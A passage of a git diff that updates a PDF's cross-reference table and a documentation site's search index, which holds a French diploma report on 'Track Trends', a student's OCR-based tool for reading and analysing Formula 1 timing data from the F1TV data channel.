n +0001682726 00000 n +0001688396 00000 n +0001688601 00000 n +0001690317 00000 n +0001690522 00000 n +0001692348 00000 n +0001692553 00000 n +0001696898 00000 n +0001697103 00000 n +0001702510 00000 n +0001702715 00000 n +0001708853 00000 n +0001709058 00000 n +0001714936 00000 n +0001715141 00000 n +0001720740 00000 n +0001720945 00000 n +0001726538 00000 n +0001726743 00000 n +0001732243 00000 n +0001732448 00000 n +0001737998 00000 n +0001738203 00000 n +0001743807 00000 n +0001744012 00000 n +0001749691 00000 n +0001749896 00000 n +0001754734 00000 n +0001754939 00000 n +0001756425 00000 n +0001756630 00000 n +0001759736 00000 n +0001759941 00000 n +0001762654 00000 n +0001762859 00000 n +0001765912 00000 n +0001766117 00000 n +0001770105 00000 n +0001770310 00000 n +0001773638 00000 n +0001773843 00000 n +0001776715 00000 n +0001776920 00000 n +0001780294 00000 n +0001780499 00000 n +0001784175 00000 n +0001784380 00000 n +0001788401 00000 n +0001788606 00000 n +0001792480 00000 n +0001792685 00000 n +0001793279 00000 n +0001793484 00000 n +0001796920 00000 n +0001797125 00000 n +0001800778 00000 n +0001800983 00000 n +0001805299 00000 n +0001805504 00000 n +0001809581 00000 n +0001809786 00000 n +0001814172 00000 n +0001814377 00000 n +0001819392 00000 n +0001819597 00000 n +0001824136 00000 n +0001824341 00000 n +0001828473 00000 n +0001828678 00000 n +0001831695 00000 n +0001831900 00000 n +0001835348 00000 n +0001835553 00000 n +0001839777 00000 n +0001839982 00000 n +0001841882 00000 n +0001842087 00000 n +0001844779 00000 n +0001844984 00000 n +0001848050 00000 n +0001848255 00000 n +0001852356 00000 n +0001852561 00000 n +0001856908 00000 n +0001857113 00000 n +0001861523 00000 n +0001861728 00000 n +0001863242 00000 n +0001863447 00000 n +0001866478 00000 n +0001866683 00000 n +0001869435 00000 n +0001869640 00000 n +0001873590 00000 n +0001873795 00000 n +0001878423 00000 n +0001878628 00000 n +0001882569 00000 n +0001882774 00000 n +0001887368 00000 n +0001887573 00000 n +0001892406 00000 n +0001892611 00000 n +0001896716 00000 n +0001896921 00000 n +0001900837 00000 n +0001901042 00000 n +0001905063 00000 n +0001905268 00000 n +0001909618 00000 n +0001909823 00000 n +0001914307 00000 n +0001914512 00000 n +0001919059 00000 n +0001919264 00000 n +0001922785 00000 n +0001922990 00000 n +0001926046 00000 n +0001926251 00000 n +0001929997 00000 n +0001930202 00000 n +0001934278 00000 n +0001934483 00000 n +0001938015 00000 n +0001938220 00000 n +0001941562 00000 n +0001941767 00000 n +0001945336 00000 n +0001945541 00000 n +0001950138 00000 n +0001950343 00000 n +0001954791 00000 n +0001954996 00000 n +0001957674 00000 n +0001957879 00000 n +0001961716 00000 n +0001961921 00000 n +0001965549 00000 n +0001965754 00000 n +0001969341 00000 n +0001969546 00000 n +0001972563 00000 n +0001972768 00000 n +0001976426 00000 n +0001976631 00000 n +0001980579 00000 n +0001980784 00000 n +0001984675 00000 n +0001984880 00000 n +0001988264 00000 n +0001988469 00000 n +0001992192 00000 n +0001992397 00000 n +0001996587 00000 n +0001996792 00000 n +0001998060 00000 n +0001998265 00000 n +0002002310 00000 n +0002002515 00000 n +0002005821 00000 n +0002006026 00000 n +0002009486 00000 n +0002009691 00000 n +0002013349 00000 n +0002013554 00000 n +0002017000 00000 n +0002017205 00000 n +0002020587 00000 n +0002020792 00000 n +0002023735 00000 n +0002023940 00000 n +0002027475 00000 n +0002027680 00000 n +0002031218 00000 n +0002031423 00000 n +0002034574 00000 n +0002034779 00000 n +0002037614 00000 n +0002037819 00000 n +0002041266 00000 n +0002041471 00000 n +0002044881 00000 n +0002045086 00000 n +0002048790 00000 n +0002048995 00000 n +0002053080 00000 n +0002053285 00000 n +0002057431 00000 n +0002057636 00000 n +0002061175 00000 n +0002061380 00000 n +0002061525 00000 n +0002061721 00000 n +0002061889 00000 n +0002062062 00000 n +0002062212 00000 n +0002062360 00000 n +0002062549 00000 n +0002062682 00000 n +0002062890 00000 n +0002063049 00000 n +0002063286 00000 n +0002063590 00000 n +0002063862 00000 n +0002064052 00000 n +0002064206 00000 n +0002064488 00000 n +0002064657 00000 n +0002064886 00000 n +0002065067 00000 n +0002065244 00000 n +0002065425 00000 n +0002065590 00000 n +0002065740 00000 n +0002065909 00000 n +0002066214 00000 n +0002066377 00000 n +0002066681 00000 n +0002066853 00000 n +0002067012 00000 n +0002067166 00000 n +0002067306 00000 n +0002067449 00000 n +0002067733 00000 n +0002067894 00000 n +0002068083 00000 n +0002068292 00000 n +0002068575 00000 n +0002068704 00000 n +0002068846 00000 n +0002068989 00000 n +0002069132 00000 n +0002069262 00000 n +0002069545 00000 n +0002069720 00000 n +0002069929 00000 n +0002070067 00000 n +0002070211 00000 n +0002070464 00000 n +0002070752 00000 n +0002070888 00000 n +0002071047 00000 n +0002071279 00000 n +0002071511 00000 n +0002071674 00000 n +0002071812 00000 n +0002071963 00000 n +0002072112 00000 n +0002072263 00000 n +0002072392 00000 n +0002072568 00000 n +0002072797 00000 n +0002072955 00000 n +0002073081 00000 n +0002073225 00000 n +0002073379 00000 n +0002073520 00000 n +0002073659 00000 n +0002073829 00000 n +0002074042 00000 n +0002074294 00000 n +0002074569 00000 n +0002074750 00000 n +0002074925 00000 n +0002075077 00000 n +0002075370 00000 n +0002075634 00000 n +0002075771 00000 n +0002076010 00000 n +0002076148 00000 n +0002076385 00000 n +0002076586 00000 n +0002076762 00000 n +0002076999 00000 n +0002077171 00000 n +0002077304 00000 n +0002077592 00000 n +0002077758 00000 n +0002077916 00000 n +0002078080 00000 n +0002078324 00000 n +0002078475 00000 n +0002078614 00000 n +0002078802 00000 n +0002078935 00000 n +0002079081 00000 n +0002079281 00000 n +0002079438 00000 n +0002079667 00000 n +0002079853 00000 n +0002079999 00000 n +0002080157 00000 n +0002080316 00000 n +0002080469 00000 n +0002080623 00000 n +0002080780 00000 n +0002080934 00000 n +0002081096 00000 n +0002081245 00000 n +0002081406 00000 n +0002081567 00000 n +0002081722 00000 n +0002081883 00000 n +0002082047 00000 n +0002082205 00000 n +0002082363 00000 n +0002082533 00000 n +0002082694 00000 n +0002082852 00000 n +0002083010 00000 n +0002083172 00000 n +0002083331 00000 n +0002083493 00000 n +0002083652 00000 n +0002083811 00000 n +0002083973 00000 n +0002084132 00000 n +0002084291 00000 n +0002084450 00000 n +0002084612 00000 n +0002084771 00000 n +0002084933 00000 n +0002085095 00000 n +0002085254 00000 n +0002085413 00000 n +0002085575 00000 n +0002085734 00000 n +0002085881 00000 n +0002086042 00000 n +0002086188 00000 n +0002086342 00000 n +0002086509 00000 n +0002086669 00000 n +0002086831 00000 n +0002086987 00000 n +0002087136 00000 n +0002087287 00000 n +0002087448 00000 n +0002087606 00000 n +0002087755 00000 n +0002087911 00000 n +0002088071 00000 n +0002088235 00000 n +0002088400 00000 n +0002088562 00000 n +0002088715 00000 n +0002088866 00000 n +0002089019 00000 n +0002089170 00000 n +0002089317 00000 n +0002089383 00000 n +0002094038 00000 n +0002102519 00000 n +0002107052 00000 n +0002110682 00000 n +0002116778 00000 n +0002119051 00000 n +0002120382 00000 n +0002120614 00000 n +0002121212 00000 n +0002121366 00000 n +0002123298 00000 n +0002123546 00000 n +0002124410 00000 n +0002124573 00000 n +0002125806 00000 n +0002126038 00000 n +0002126578 00000 n +0002126733 00000 n +0002127727 00000 n +0002127955 00000 n +0002128436 00000 n +0002128585 00000 n +0002130266 00000 n +0002130512 00000 n +0002131134 00000 n +0002131293 00000 n +0002131937 00000 n +0002132182 00000 n +0002132565 00000 n +0002132725 00000 n +0002132851 00000 n +0005837578 00000 n +0005907931 00000 n +0006690242 00000 n +0006694696 00000 n +0007422616 00000 n +0007427062 00000 n +0007715308 00000 n +0007719762 00000 n +0007808412 00000 n +0007815598 00000 n +0007825505 00000 n +0007830992 00000 n +0007846238 00000 n +0007848626 00000 n +0007876691 00000 n +0007885384 00000 n +0008199873 00000 n +0008230961 00000 n +0008595233 00000 n +0008612429 00000 n +0009293324 00000 n +0009311540 00000 n +0009659447 00000 n +0009676645 00000 n +0009849368 00000 n +0009864910 00000 n +0009990763 00000 n +0010023198 00000 n +0010108664 00000 n +0010112844 00000 n +0010114521 00000 n +0010124945 00000 n +0010126855 00000 n +0010749391 00000 n +0010752095 00000 n +0010781322 00000 n +0010781683 00000 n +0010794144 00000 n +0010794488 00000 n +0010797251 00000 n +0010797525 00000 n +0010799556 00000 n +0010799828 00000 n +0011291997 00000 n +0011294459 00000 n +0011467723 00000 n +0011514253 00000 n +0011515100 00000 n +0011515358 00000 n +0011518527 00000 n +0011518823 00000 n +0011527148 00000 n +0011527492 00000 n +0011529564 00000 n +0011530447 00000 n +0011532113 00000 n +0011532867 00000 n +0011533428 00000 n +0011534114 00000 n +0011534675 00000 n +0011535364 00000 n +0011535925 00000 n +0011536679 00000 n +0011539131 00000 n +0011539431 00000 n +0011541882 00000 n +0011542182 00000 n +0011542719 00000 n +0011543019 00000 n +0011546103 00000 n +0011546579 00000 n +0011547531 00000 n +0011547949 00000 n +0011550714 00000 n +0011550990 00000 n +0011561497 00000 n +0011564646 00000 n +0011565146 00000 n +0011565422 00000 n +0011569216 00000 n +0011569623 00000 n +0011570431 00000 n +0011570774 00000 n +0011571699 00000 n +0011572042 00000 n +0012084251 00000 n +0012111157 00000 n +0012119504 00000 n +0012119848 00000 n +0012134063 00000 n +0012134428 00000 n +0012142966 00000 n +0012143315 00000 n +0012151529 00000 n +0012151889 00000 n +0012153471 00000 n +0012153726 00000 n +0012154267 00000 n +0012154641 00000 n +0012155186 00000 n +0012155560 00000 n +0012156106 00000 n +0012156480 00000 n +0012157025 00000 n +0012157399 00000 n +0012157946 00000 n +0012158320 00000 n +0012159839 00000 n +0012160094 00000 n +0012160640 00000 n +0012161014 00000 n +0012162313 00000 n +0012162568 00000 n +0012163125 00000 n +0012163380 00000 n +0012167271 00000 n +0012167689 00000 n +0012168339 00000 n +0012168637 00000 n +0012946935 00000 n +0012949304 00000 n +0013035092 00000 n +0013036491 00000 n +0013086555 00000 n +0013093564 00000 n +0013096374 00000 n +0013103867 00000 n +0013105858 00000 n +0013118701 00000 n +0013120745 00000 n +0013127190 00000 n +0013127514 00000 n +0013130588 00000 n +0013130912 00000 n +0013131848 00000 n +0013132172 00000 n +0013135081 00000 n +0013135423 00000 n +0013166186 00000 n +0013186830 00000 n +0013200080 00000 n +0013200393 00000 n +0013207480 00000 n +0013208179 00000 n +0013238705 00000 n +0013239812 00000 n +0013267756 00000 n +0013268726 00000 n +0013287169 00000 n +0013287748 00000 n +0013325589 00000 n +0013326774 00000 n +0013454119 00000 n +0013456078 00000 n +0013730504 00000 n +0013734122 00000 n +0013852235 00000 n +0013856115 00000 n +0015050822 00000 n +0016817495 00000 n +0016828931 00000 n +0016829338 00000 n +0016835608 00000 n +0016836000 00000 n +0016840953 00000 n +0016841324 00000 n +0016991559 00000 n +0016993162 00000 n +0017107820 00000 n +0017109773 00000 n +0017231123 00000 n +0017233255 00000 n +0017237308 00000 n +0017238109 00000 n +0017244092 00000 n +0017244853 00000 n +0017364170 00000 n +0017366305 00000 n +0017474968 00000 n +0017477116 00000 n +0017581459 00000 n +0017583417 00000 n +0017688187 00000 n +0017690335 00000 n +0017810285 00000 n +0017812436 00000 n +0017921565 00000 n +0017923786 00000 n +0018034175 00000 n +0018036146 00000 n +0018117567 00000 n +0018118266 00000 n +0018136189 00000 n +0018136801 00000 n +0018676522 00000 n +0018679631 00000 n +0019195171 00000 n +0019198107 00000 n +0019731331 00000 n +0019734199 00000 n +0020273960 00000 n +0020276907 00000 n +0020816448 00000 n +0020819414 00000 n +0020839050 00000 n +0020839987 00000 n +0020867788 00000 n +0020868187 00000 n +0020869734 00000 n +0020870017 00000 n +0020871414 00000 n +0020871697 00000 n +0021129043 00000 n +0021131427 00000 n +0021152792 00000 n +0021153713 00000 n +0021660755 00000 n +0021663702 00000 n +0022203228 00000 n +0022205947 00000 n +0022750394 00000 n +0022753401 00000 n +0022784084 00000 n +0022785996 00000 n +0022811247 00000 n +0022812131 00000 n +0022826943 00000 n +0022827304 00000 n +0022843775 00000 n +0022844114 00000 n +0022862699 00000 n +0022863830 00000 n +0023185193 00000 n +0023187824 00000 n +0023188306 00000 n +0023188580 00000 n +0023189076 00000 n +0023189350 00000 n +0023189880 00000 n +0023190154 00000 n +0023191502 00000 n +0023192074 00000 n +0023193452 00000 n +0023194040 00000 n +0023196864 00000 n +0023197140 00000 n +0023199610 00000 n +0023199886 00000 n +0023200439 00000 n +0023200715 00000 n +0023210183 00000 n +0023210928 00000 n +0023212537 00000 n +0023213126 00000 n +0023214074 00000 n +0023214417 00000 n +0023216430 00000 n +0023216702 00000 n +0023226517 00000 n +0023229461 00000 n +0023270466 00000 n +0023271509 00000 n +0023273201 00000 n +0023274412 00000 n +0023282856 00000 n +0023283992 00000 n +0023284245 00000 n +0023285329 00000 n +0023285582 00000 n +0023286719 00000 n +0023287182 00000 n +0023288733 00000 n +0023289196 00000 n +0023290938 00000 n +0023291401 00000 n +0026856705 00000 n +0026905478 00000 n +0030667205 00000 n +0030715978 00000 n +0031199684 00000 n +0031204126 00000 n +0031204871 00000 n +0031205169 00000 n +0031205881 00000 n +0031206179 00000 n +0031206862 00000 n +0031207160 00000 n +0031207818 00000 n +0031208116 00000 n +0031276828 00000 n +0031280772 00000 n +0031576507 00000 n +0031580942 00000 n +0031867173 00000 n +0031871608 00000 n +0032984448 00000 n +0032989038 00000 n +0034554228 00000 n +0034557089 00000 n +0035099865 00000 n +0035103697 00000 n +0038424635 00000 n +0038473408 00000 n +0041578024 00000 n +0041626797 00000 n +0044692131 00000 n +0044740904 00000 n +0049481174 00000 n +0049529947 00000 n +0049811782 00000 n +0049814406 00000 n +0054633483 00000 n +0054682256 00000 n +0059195029 00000 n +0059265382 00000 n +0059276123 00000 n +0059277232 00000 n +0059331598 00000 n +0059332282 00000 n +0059336701 00000 n +0059337040 00000 n +0059443556 00000 n +0059444062 00000 n +0059497812 00000 n +0059498425 00000 n +0059580070 00000 n +0059584091 00000 n +0059607443 00000 n +0059610315 00000 n +0059643884 00000 n +0059646771 00000 n +0059672798 00000 n +0059677066 00000 n +0060006958 00000 n +0060009852 00000 n +0060076339 00000 n +0060078395 00000 n +0060168702 00000 n +0060171590 00000 n +0060267444 00000 n +0060270338 00000 n +0060403260 00000 n +0060405255 00000 n +0060504155 00000 n +0060505744 00000 n +0060543920 00000 n +0060544958 00000 n +0060629760 00000 n +0060631531 00000 n +0060672171 00000 n trailer << -/Size 1363 +/Size 2276 /Root 3 0 R /Info 2 0 R >> startxref -55236896 +60673827 %%EOF diff --git a/site/search/search_index.json b/site/search/search_index.json index a9075c0..a0fcf1a 100644 --- a/site/search/search_index.json +++ b/site/search/search_index.json @@ -1 +1 @@ -{"config":{"indexing":"full","lang":["en"],"min_search_length":3,"prebuild_index":false,"separator":"[\\s\\-]+"},"docs":[{"location":"index.html","text":"Rapport Track Trends V1.0 Rohmer Maxime Travail de dipl\u00f4me Technicien ES 2023 Introduction R\u00e9sum\u00e9 Track Trends est un outil de r\u00e9cup\u00e9ration et d'analyse de donn\u00e9es de courses de Formule 1. Pour le contexte, en dehors des cours, j'exerce diff\u00e9rentes activit\u00e9s dont celle de Live Ticker F1 pour le 20 minutes. Pour m'aider dans ce travail, j'utilise actuellement la F1TV \u00e0 laquelle je suis abonn\u00e9 qui me propose non seulement un feed vid\u00e9o de meilleure qualit\u00e9 avec des commentaires plus pertinents que ceux de la RTS mais qui aussi me permet d'acc\u00e9der \u00e0 un feed vid\u00e9o tr\u00e8s important : la chaine data. Ce dernier ressemble \u00e0 cela : \"Screenshot du feed data de la f1tv\" (Attention ce n'est pas un joli tableau HTML, mais bien une vid\u00e9o qui contient un tableau.) Sauf que toutes les informations sont \u00e9tal\u00e9es p\u00eale-m\u00eale sans hi\u00e9rarchie ce qui fait que cela me prendrait trop de temps de tout d\u00e9chiffrer \u00e0 chaque fois, ce qui me fait rater des choses int\u00e9ressantes. Le but du projet est donc de fournir un outil qui hi\u00e9rarchise et affiche diff\u00e9remment les donn\u00e9es pour faciliter leur lecture et me permettre de faire de meilleurs commentaires. Abstract Track Trends is a Formula 1 data is a tool that displays and interpret data. To understand everything,first ,a little bit of context. In my free time I have multiple activities and one is to be the Live Ticker F1 for the local journal \"20 minutes\" (Owned by Tamedia). to help me in this work I'm currently using the F1TV to which I'm currently subscribed because it provides me with a better video feed with better commentary than the ones from the RTS (in my opinion) but also because it gives me access to a very important video feed : the data channel You can see in the chapter above an example of the F1TV DATA CHANNEL. [Note : Even tough it looks like a pretty HTML table on wich you could easely get infos... Its not. Its a video feed] You can see a lot of data all well and good BUT! All the data is displayed the same in a big table which make it really hard to read totally in a hurry, which means that I miss a lot of useful information. The point of the project then is to provide a tool that can display those data by taking into account their relevance. So for example a driver that is 10s away from everyone and that is doing some normal lapTimes will be less displayed or even not displayed at all so I can focus on the drivers that are battling each others. This tool would help me not miss the battles and details that are happening in the back and therefore not being broadcasted on TV.And it could be a usefull tool for anyone who wants a better insight of how the race is going by looking at the data. This kind of project already exists in the form of the AWS tool \"F1 Insight\" but it is not avaible to the public. We can only see some of its predictions (that are trash) and data dumps in the live feed when the TV directors feel like it. Description du besoin Comme expliqu\u00e9 dans le r\u00e9sum\u00e9, je suis Live Ticker F1. Mais pour mieux comprendre le besoin que j'ai, je pense qu'il est pertinent de comprendre comment je travaille. Pendant un Grand Prix de Formule 1 j'ai plusieurs t\u00e2ches \u00e0 effectuer : Suivre les diff\u00e9rents \u00e9v\u00e8nements du Grand Prix Changer le titre et la photo de titre du Live Chercher des Tweets ou des Images \u00e0 int\u00e9grer Ecrire les commentaires en faisant attention \u00e0 dire ce qu'il se passe mais aussi l\u2019expliquer, ce que cela implique, mais aussi ce que cela veut dire pour le reste de la course. Comprendre et expliquer les strat\u00e9gies Tout cela toutes les cinq minutes max... Cela veut dire que je dois \u00eatre le plus rapide possible quand je cherche des informations. Et comme le tableau en comporte trop et bien, je suis oblig\u00e9 de le lire en diagonale. Par exemple dans le tableau, les infos que je cherche le plus sont : Le nombre de places gagn\u00e9es (surtout au d\u00e9part) Les \u00e9carts entre les pilotes (surtout ceux qui sont en dessous de deux secondes). Les pneus de chaque pilote et combien de tours, ils ont fait dessus Les temps d'arr\u00eats aux stands Les temps au tour (surtout pour la strat\u00e9gie) Mais pleins d'autres informations existent si on les recoupe sur plusieurs tours. Un outil qui permettrait de mettre en \u00e9vidence les informations importantes serait donc une tr\u00e8s grosse plus-value pour mon travail et s'il est facile \u00e0 installer et \u00e0 utiliser, il se pourrait qu'il devienne indispensable. Cahier des charges Il s'agit d'une version coup\u00e9e du cahier des charges qui ne contient pas l'explication du contexte. Mais l'original est disponible sur ce site \u00e9galement. Il est toutefois normal d'y voir des choses r\u00e9p\u00e9t\u00e9es ou l\u00e9g\u00e8rement diff\u00e9rentes, en effet, il n'a pas \u00e9t\u00e9 \u00e9crit en m\u00eame temps que le reste de ce document. Projet Un outil de style compagnon sous forme d'application C# Windows Form qui r\u00e9cup\u00e8re en temps r\u00e9el les informations de la course et affiche les informations les plus importantes. Le but est non seulement de faciliter mon job, mais aussi faire en sorte d'am\u00e9liorer la plus-value de mon travail en me permettant de fournir des commentaires qui ne sont pas disponibles pour le tout venant qui regarde simplement le flux RTS. Exemples : Les pilotes qui sont proches (moins de 1-2 secondes qui sont donc en train de se battre). Les pilotes qui am\u00e9liorent leur temps au tour et ceux qui perdent le plus de temps Le classement pond\u00e9r\u00e9 tenant compte des futurs arr\u00eats au stand Maintenant afficher diff\u00e9remment les infos, c'est sympa, mais cela serait encore mieux de traiter ces data et de permettre des petites pr\u00e9dictions. Exemples : Pr\u00e9dire les arr\u00eats aux stands en prenant en compte les baisses de performances des pneus Pr\u00e9dire le pneu que le pilote va chausser s'il rentre aux stands dans le prochain tour Pr\u00e9dire dans combien de tour tel pilote va rattraper tel autre pilote Pr\u00e9dire combien de temps le pilote va perdre dans les stands en fonctions des arr\u00eats pr\u00e9c\u00e9dents R\u00e9alisation Malheureusement, la Formula 1 Management ne propose aucune API publique qui puisse nous permettre de faire ce projet \"simplement\". La raison la plus probable \u00e9tant qu'Amazon avec son service AWS propose exactement ce genre de services pour le flux t\u00e9l\u00e9vis\u00e9 et il doit y avoir un contrat d'exclusivit\u00e9. Il existe des API \"Pirates\" faites par la communaut\u00e9, le probl\u00e8me est qu'elles ne sont pas forc\u00e9ment des plus pratiques \u00e0 utiliser. Mais comme je poss\u00e8de un abonnement premium ++ \u00e0 la F1TV, j'ai acc\u00e8s pour chaque grand prix \u00e0 un flux vid\u00e9o nomm\u00e9 : DATA F1 CHANNEL Qui ressemble \u00e0 \u00e7a : \"Exemple de la Data Channel\" Donc la seule fa\u00e7on que je vois de r\u00e9cup\u00e9rer ces donn\u00e9es est de les prendre directement sur ce feed. M\u00eame si le but final de l'application est de faire pleins de choses super avec les datas, le gros du projet va surtout \u00eatre la r\u00e9cup\u00e9ration des donn\u00e9es et leur stockage. Les donn\u00e9es viennent du flux vid\u00e9o et ainsi dans un premier temps, il va falloir r\u00e9cup\u00e9rer d'une mani\u00e8re ou d'une autre des images qui viennent d'un grand prix en direct ou en rediffusion. Ensuite, dans un second temps, il faut lire les informations directement sur l'image en utilisant une librairie pr\u00e9vue pour (exemple Tesseract) et v\u00e9rifier l'int\u00e9grit\u00e9 de ces derni\u00e8res pour qu'on puisse ensuite les stocker. Dans un troisi\u00e8me temps, il faut stocker toutes ces donn\u00e9es dans une forme qui permette d'aller facilement faire des requ\u00eates de r\u00e9cup\u00e9ration et d\u00e9j\u00e0 pr\u00e9parer des m\u00e9thodes qui permettent de r\u00e9cup\u00e9rer des infos importantes (ex : la moyenne des cinq derniers tours, le temps moyen d'arr\u00eat etc.) pour faciliter la derni\u00e8re \u00e9tape Quand tout cela est fait, on peut ensuite s'amuser un peu avec les Data. La derni\u00e8re \u00e9tape est donc l'affichage. L'id\u00e9e est de cr\u00e9er une Windows Form qui contienne toutes ces informations dans un format beaucoup plus lisible et avec laquelle on pourrait interagir pour permettre de plus facilement commenter les Grands Prix. (exemple plus bas avec un croquis de ce \u00e0 quoi l'application pourrait ressembler) Voici la liste des donn\u00e9es qui pourraient \u00eatre affich\u00e9es (Non contractuel, simplement des id\u00e9es). Les pilotes qui sont proches (moins de 1-2 secondes qui sont donc en train de se battre). Les pilotes qui am\u00e9liorent leur temps au tour et ceux qui perdent le plus de temps Le classement pond\u00e9r\u00e9 tenant compte des futurs arr\u00eats au stand La moyenne de temps que les pilotes perdent dans les stands La performance moyenne des 5 types de pneus La moyenne de temps de chaque pilote sur le pneu actuel Le nombre de points que chaque pilote gagnerait selon sa position Le classement de la course Voire m\u00eame si c'est possible : Pr\u00e9dire les arr\u00eats aux stands en prenant en compte les baisses de performances des pneus Pr\u00e9dire le pneu que le pilote va chausser s'il rentre aux stands dans le prochain tour Pr\u00e9dire dans combien de tour tel pilote va rattraper tel autre pilote Pr\u00e9dire combien de temps le pilote va perdre dans les stands en fonctions des arr\u00eats pr\u00e9c\u00e9dents Pr\u00e9dire les temps au tour de chaque pilote selon l'usure des pneus Voici un exemple d'interface possible pour une page : \"Protype de l'app fait sur Figma\" Cas d'utilisation '*'On va consid\u00e9rer que tous les user ont un abonnement F1 TV PRO Un user veut r\u00e9cup\u00e9rer les data : Il ouvre son navigateur et lance la page DATA de la F1 TV Il calibre la capture des data via le programme (pour la premi\u00e8re utilisation). Il confirme que les donn\u00e9es initiales sont bonnes (pour la premi\u00e8re utilisation). Il regarde tranquille son Grand Prix Le programme r\u00e9cup\u00e8re les data : Il r\u00e9cup\u00e8re des images depuis la F1TV Il utilise Tesseract (ou autre) pour en r\u00e9cup\u00e9rer les infos. Il met ces infos dans un Objet Pilote, dans un Objet course avec un attribut tour pour hi\u00e9rarchiser les data Pour ce qui est de l'affichage, l'id\u00e9e est de faire une application C# comme on l'a appris \u00e0 l'\u00e9cole, mais avec assez de style pour qu'elle puisse \u00eatre agr\u00e9able \u00e0 utiliser. Quand le programme affiche les data : Il prend les donn\u00e9es venant directement de la F1TV. Il affiche diff\u00e9remment les donn\u00e9es pour permettre une meilleure lisibilit\u00e9 Il interpr\u00e8te avec des r\u00e8gles plut\u00f4t simples certaines data pour faire des minipr\u00e9dictions ou aider \u00e0 la lecture Il r\u00e9cup\u00e8re des infos d'autres courses pour les comparer et proposer des pr\u00e9dictions plus int\u00e9ressantes Difficult\u00e9s techniques R\u00e9cup\u00e9rer un flux vid\u00e9o plut\u00f4t propre malgr\u00e9 les contres mesures de la F1 TV pour en emp\u00eacher la lecture par un logiciel Si on doit passer par une capture d'\u00e9cran, trouver un moyen de stocker les donn\u00e9es de mani\u00e8re \u00e0 pr\u00e9voir que parfois un tour pourrait avoir plus de donn\u00e9es qu'un autre, que le user peut mettre pause, ou m\u00eame qu\u2019il revienne en arri\u00e8re. D\u00e9velopper des algorithmes pour r\u00e9cup\u00e9rer les donn\u00e9es comme les diff\u00e9rents pneus utilis\u00e9s ou l'activation du DRS ainsi que d\u00e9velopper des moyens de nettoyer les r\u00e9sultats de l'OCR (Par exemple utiliser diff\u00e9rents champs redondants pour comparer les r\u00e9sultats) Stocker les donn\u00e9es sur une base pour les traiter plus tard tout en pr\u00e9voyant un moyen de voir les stats live D\u00e9velopper des algorithmes de pr\u00e9diction qui prennent en compte d'anciennes courses pour tenter de pr\u00e9dire des choses comme les arr\u00eats aux stands par exemple. Diff\u00e9rences sur le cahier des charges [\u00c0 remplir dans les derni\u00e8res semaines du travail de dipl\u00f4me] Planning pr\u00e9visionnel Mes suiveurs m'ont demand\u00e9 un planning de type GANTT pour ce travail de dipl\u00f4me Je n'ai pas utilis\u00e9 un logiciel particulier pour faire ce dernier, mais je me suis inspir\u00e9 des principes fondamentaux d'un diagramme de ce type. Comme l'original a \u00e9t\u00e9 fait sur Excel, je ne peux pas vraiment l'ins\u00e9rer de mani\u00e8re lisible ici, mais il est disponible dans le dossier Planning. Mais voici un r\u00e9sum\u00e9 de son contenu : T\u00e2ches J'ai d\u00e9cid\u00e9 de d\u00e9composer mon planning en trois grands types de t\u00e2ches. Programmation Documentation Tests L'id\u00e9e est de permettre une meilleure lisibilit\u00e9 et de me permettre \u00e0 moi de me faire plus facilement \u00e0 l'id\u00e9e de ce qu'il m'attend. Voici la liste des t\u00e2ches par rubrique : PT Cette rubrique contient les t\u00e2ches qui n'ont pas leur place dans les trois cat\u00e9gories principales. PT1 / pr\u00e9paration au travail de dipl\u00f4me (2) Cette t\u00e2che est un peu hors cat\u00e9gorie, mais c'est normal, c'est une supert\u00e2che qui regroupe beaucoup de choses. C'est une t\u00e2che qui est planifi\u00e9e pour deux jours et qui normalement devrait \u00eatre faite les deux premiers jours du travail. Le but est de pr\u00e9parer tout ce qui peut \u00eatre pr\u00e9par\u00e9 en avance niveau documentation et mise en place pour ne pas avoir besoin de s'en soucier ensuite. DT Rubrique documentation qui contient toutes les t\u00e2ches en rapport de pr\u00e8s ou de loin avec la documentation du projet. DT1 Cr\u00e9ation du poster (1) Cette t\u00e2che consiste \u00e0 faire une version num\u00e9rique du poster qui soit en accord avec les consignes qu'on nous a donn\u00e9es. Le but est aussi et surtout de faire poster dont je sois fier et que je sois content de montrer. Il y a d\u00e9j\u00e0 des croquis de poster et j'ai clairement pr\u00e9vu de travailler sur \u00e7a pendant les vacances alors, je n'ai mis qu'un jour et je l'ai plac\u00e9 juste avant le rendu de ce dernier. DT2 Documentation Analyse de l'existant (2) Cette t\u00e2che est d\u00e9di\u00e9e \u00e0 l'\u00e9criture de la documentation et plus pr\u00e9cis\u00e9ment de l'analyse de l'existant. Comme il y a pas mal de technologies utilis\u00e9es dans mon projet, j'aimerais faire correctement un vrai debrief de pourquoi j'ai utilis\u00e9 l'une ou l'autre alors, j'ai assign\u00e9 deux jours dessus. DT3 Documentation Analyse organique (5) Cette t\u00e2che est la plus grosse dans la cat\u00e9gorie documentation. Il s'agit de documenter comment l'application fonctionne. J'y ai mis cinq jours et je pense que c'est un minimum car c'est dans cette t\u00e2che que je vais devoir d\u00e9tailler exactement comment fonctionne chaque partie du projet. Ces cinq jours sont \u00e9parpill\u00e9s sur le projet en g\u00e9n\u00e9ral \u00e0 la fin du d\u00e9veloppement de chaque grande partie de projet. Le but est de ne rien oublier et de ne pas avoir \u00e0 tout faire en m\u00eame temps. DT4 Documentation Analyse fonctionnelle (2) Cette t\u00e2che est d\u00e9j\u00e0 moins grosse, elle consiste \u00e0 documenter le fonctionnement de l'application et comment utiliser les composants que j'ai d\u00e9velopp\u00e9s. Je l'ai mis en fin de projet, car comme j'ai l'habitude de faire des analyses fonctionnelles plut\u00f4t pr\u00e9cises, le moindre changement dans l'UI peut tout rendre obsol\u00e8te. J'y ai mis deux jours, car j'aimerais correctement documenter avec de bonnes photos et sc\u00e9narios pour qu'on puisse voir toutes les possibilit\u00e9s de l'application. DT5 Documentation Tests (1) Cette t\u00e2che est un peu plus petite qu'elle ne le devrait. Elle concerne la documentation des diff\u00e9rents tests. Je n'y ai mis qu'un seul jour, car en r\u00e9alit\u00e9 les diff\u00e9rentes t\u00e2ches de tests contiennent aussi beaucoup de documentation, DT6 Documentation Reste (2) Cette t\u00e2che est une t\u00e2che un peu vague. Elle contient toutes les actions autres que j'aurai besoin de faire (Mise au propre, orthographe, g\u00e9n\u00e9ration de PDF ...). J'y ai mis deux jours pour avoir un peu de marge, car ce sont toujours des t\u00e2ches qui paraissent faciles, mais qui \u00e0 la fin prennent beaucoup de temps si on les fait bien. PT Rubrique programmation qui contient toutes les t\u00e2ches qui touchent \u00e0 la programmation et au d\u00e9veloppement de l'application. PT1 Programmation r\u00e9cup\u00e9ration des images (3) Cette t\u00e2che est 